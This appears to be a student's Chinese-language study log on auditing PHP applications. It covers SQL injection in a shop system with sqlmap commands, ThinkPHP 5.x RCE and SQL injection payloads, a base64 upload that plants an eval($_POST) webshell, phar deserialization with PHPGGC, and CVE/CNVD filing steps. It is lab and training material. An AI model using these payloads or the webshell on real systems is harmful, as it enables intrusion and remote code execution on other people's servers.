1、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞
sql注入
data.php search参数sql注入漏洞
在下面代码中,直接使用户提交的search参数并拼接到了sql语句中,造成sql注入漏洞api\data.php
漏洞验证
POST /api/data.php?mod=list&lx=2&search=a* HTTP/1.1
Host: mall.com
Content-Length: 0
Cache-Control: max-age=0
Origin: http://mall.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mall.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kjuu63jt0cbnnigh8eb9r5k7ds
Connection: keep-alive
python sqlmap.py -r 1.txt --risk 3 --level 3 --batch --current-db
goods.php id参数存在sql注入漏洞
goods.php文件中的id参数存在sql注入漏洞
漏洞验证
POST /goods.php?id=1* HTTP/1.1
Host: mall.com
Content-Length: 0
Cache-Control: max-age=0
Origin: http://mall.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mall.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kjuu63jt0cbnnigh8eb9r5k7ds
Connection: keep-alive
python sqlmap.py -r 1.txt --tech U --batch --current-db
文件上传漏洞
api\api.php文件中的代码没有过滤用户上传的文件,导致任意文件上传
2、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
url传参
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则:
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
这种方式也称为PATH_INFO方式,例如:
http://serverName/index.php/index/index/hello/val/value
如果环境只能支持普通方式的URL参数访问,那么必须使用兼容模式访问,如下:
http://serverName/index.php(或者其他应用入口文件)?s=/模块/控制器/操作/[参数名/参值...]
获取用户参数
使用 Request 类
可以通过 Request 对象完成全局输入变量的检测、获取和安全过滤。格式如下:Request::instance()->变量类型('变量名/修饰符');
use think\Request;
public function hello() {
// 获取单个参数(自动识别GET/POST)
$id = Request::instance()->param('id');
// 获取所有参数(过滤后数组)
$params = Request::instance()->param();
// 指定来源(如仅GET)
$name = Request::instance()->get('name');
}
使用助手函数 input()
input 函数支持对变量使用修饰符功能,可以更好的过滤变量。
input('变量类型.变量名/修饰符');
或者
Request::instance()->变量类型('变量名/修饰符');
// 自动识别请求类型
$id = input('id');
// 指定来源(POST)
$email = input('post.email');
// 带默认值和类型修饰符
$page = input('page/d', 1); // 强制转为整数,默认值1
3、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
代码执行漏洞
ThinkPHP底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。
1.ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=calc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=calc
2. 版本:5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
EXP:
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意⽂件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php⽂件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
Thinkphp.Red_Tasselled.Spear工具
sql注入漏洞
insert方法注入
Builder 类的 parseData方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
payload:
index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
update方法注入
Mysql类的parseArrayData方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
payload:
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)&username[3]=0
select方法注入1
Mysql类的parseWhereItem方法中,由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
payload:
username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
select方法注入2
Mysql 类的parseWhereItem方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句。再⼀个,Request类的 filterValue方法漏过滤NOT LIKE关键字,最终导致SQL注入漏洞的产生。
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
payload:
username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
orderby 方法注入
Builder类的parseOrder方法中,由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注⼊漏洞的产生。
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
payload:
orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=11
Mysql 聚合函数相关方法注入
本次漏洞存在于所有Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进SQL语句,最终导致SQL注入漏洞的产生。
$options = input('options');
$result = db('users')->max($options);
payload:
options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%231
常见不安全写法
直接拼接 SQL 语句
$list=M('recharge')->where("address='".$address."' and type=".$type)->order("id desc ")->select();
动态表名
$wallet = $this->request->param('type');
$list = Db::name($wallet . '_log')->select();
Base64 文件上传漏洞
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)) {
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content)));
}
4、搭建部署脱单交友平台并审计复现任意文件写入漏洞。
环境搭建
1.上传源码到网站站根目录并解压
2.创建数据库you并导入数据库文件到数据库
3.修改数据库链接文件:config\database.php
4.后台地址:localhost/admin/login/login.html(账号:admin密码:123456)
5.设置伪静态
.htaccess(Apache)
RewriteEngine On
RewriteBase /
# 如果请求已存在的文件或目录,直接访问
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
# 否则,将请求重写到 index.php 的 s 参数
RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]
6.前台地址:localhost/app
文件上传漏洞
application\app\controller\Upload.php文件
下面代码通过input函数接收data参数,类型是数组,然后调用base64image函数进行处理
在base64image函数中,直接将上传内容进行base64解码后并保存,没有过滤文件后缀
漏洞验证
将验证代码进行base64编码之后,上传。
data=data%3aimage/php%3bbase64,PD9waHAKZXZhbCgkX1BPU1RbMV0pOwoKPz4%3d
该编码解码为:
<?php
eval($_POST[1]);
?>
注意base64编码的特殊字符,可能导致解码出错。最好进行url编码。
访问文件地址,上传成功
getshell
5、预习phar反序列化漏洞及编号申请
phar反序列化漏洞
phar(PHP Archive)将多个PHP文件打包成一个文件,方便移动和运行。
文件结构
- Stub:PHAR文件的识别标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>,必须以__HALT_COMPILER();?>结尾。 - Manifest:存储被压缩文件的权限、属性等信息,用户自定义的meta-data以序列化形式存储,是反序列化漏洞的触发点。
- Contents:被压缩文件的内容。
- Signature:文件的签名,位于文件末尾。
利用方法
- 生成恶意PHAR文件:通过PHP内置的
Phar类生成PHAR文件,将恶意序列化数据存储到meta-data中。 - 上传恶意PHAR文件:将生成的PHAR文件上传到服务器。
- 调用恶意PHAR文件:通过文件操作函数(如
file_exists()、is_dir()等)结合phar://伪协议触发反序列化。
PHPGGC工具(生成恶意phar文件)
PHPGGC是⼀款能够自动生成主流框架的序列化测试payload的⼯具,可以说是反序列化的武器库。
运行phpggc的条件 PHP >= 5.6
用法
- 查看全部利用链:
php phpggc -l; - 查看指定框架利用链
php phpggc -l ThinkPHP;查看用法:php phpggc ThinkPHP/RCE1 -i - 生成恶意phar文件:
php phpggc <框架名> <利用链> -o <输出文件>
文件操作函数(调用恶意phar文件)
通过phar://伪协议解析PHAR文件时,以下函数会将meta-data进行反序列化
常见的函数:file_exists()、is_dir()、md5_file()、sha1_file()、getimagesize();只要调用php_stream_open_wrapper的函数,都存在此问题
防御措施
- 参数过滤:在文件系统函数的参数可控时,进行严格的过滤。
- 文件内容检查:严格检查上传文件的内容,而不仅仅是文件头。
- 禁用危险函数:在条件允许的情况下,禁用可执行系统命令、代码的危险函数。
编号申请
CVE漏洞编号申请
- 了解CVE和CNA:
- CVE(Common Vulnerabilities and Exposures):全球通用的漏洞编号系统。
- CNA(CVE Numbering Authority):CVE编号授权机构,如MITRE、Google、Apple等。
- 申请方式:
- 通过VulDB(审核快,约3天):VulDB官网
- 向Participating CNA申请(适用于特定厂商,如Adobe、Microsoft等)。
- 向Primary CNA(MITRE)申请(适用于未被CNA覆盖的漏洞):MITRE申请页面
- 通过DWF(开源漏洞)申请:DWF提交地址
- 实战申请步骤:
- 在GitHub或其他平台发现漏洞,并在Issue中公开披露。
- 通过MITRE网站提交CVE申请表单,描述漏洞详情。
- 1~2天后收到审核结果,成功则分配CVE编号,并在24小时内公开。
CNVD漏洞编号申请
- 注册与登录:
- 访问CNVD官网注册并登录账户。
- 上报漏洞:
- 进入“立即上报漏洞”页面,选择漏洞类型(事件型或通用型)。
- 填写相关信息(涉事单位、漏洞名称、漏洞URL、影响范围等)。
- 提交漏洞报告(推荐附带PoC/EXP、复现视频等)。
- 审核流程:
- 事件型漏洞:1个工作日内验证,3个工作日内通报涉事单位,约1周内归档。
- 通用型漏洞:5个工作日内通报厂商,审核周期较长(1个月或以上)。
- 证书发放条件:
- 通用型漏洞:CVSS 2.0评分≥4.0,且涉及大型软件开发商(注册资金≥5000万人民币)。
- 事件型漏洞:需为运营商(移动/联通/电信)或党政机关、科研院所等单位的高危漏洞。
- 积分与奖励:
- 原创漏洞会获得CNVD积分,可用于兑换奖励。